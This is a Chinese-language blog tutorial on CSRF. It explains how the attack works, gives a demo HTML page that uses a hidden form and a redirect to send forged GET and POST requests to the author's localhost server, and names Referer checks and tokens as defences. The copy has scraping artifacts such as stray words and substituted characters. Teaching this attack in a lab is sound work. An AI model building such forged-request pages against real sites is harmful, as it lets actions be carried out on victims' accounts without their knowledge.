前端crsf攻击之get,post方法

前几天在考虑先后端认证方式时,想到了crsf攻击,由于以前都是只了解大概原理并无真正实现过,因此想写一个demo,实现一下。javascript

CSRF概念

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击同样,存在巨大的危害性,你能够这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做。
复制代码

csrf原理

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登陆网站A;
  2. 在用户信息经过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登陆网站A成功,能够正常发送请求到网站A
  3. 用户未退出网站A以前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的状况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求实际上是由B发起的,因此会根据用户C的Cookie信息以C的权限处理该请求,致使来自网站B的恶意代码被执行。

实现

有CSRF安全漏洞的安全网站

假设用户登陆成功在浏览器留下认证的cookies,且执行了一些操做,如图:html

get请求

post请求

用get,post方式进行csrf攻击

代码
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <button onclick="btn1()">csrf攻击get方法</button>
    <button onclick="btn2()">csrf攻击post方法</button>

    <form action="http://localhost:8080/bb" method="post" id="test">
        <input style="display:none;" type="text" name="user" value="5"><br>
        <input style="display:none;" type="text" name="pass" value="55">
    </form>
    <script> function btn1() { window.location.href = "http://localhost:8080/aa?ID=12345&delete=55" } function btn2() { const f = document.getElementById('test'); f.submit(); } </script>
</body>

</html>
复制代码

执行结果

get请求

post请求

如此能够看到攻击成功,其余就是浏览器请求时自动把cookies带上,认证经过以后进行意外的操做。java

防范方法

1.验证referer请求头:它记录了该 HTTP 请求的来源地址后端

不知为何在本地请求中没有
2.验证token 每次请求所带的token服务器对其进行拦截,来判断是否和法。

有不对的地方欢迎小伙伴指出,一块儿交流😀

相关文章
相关标签/搜索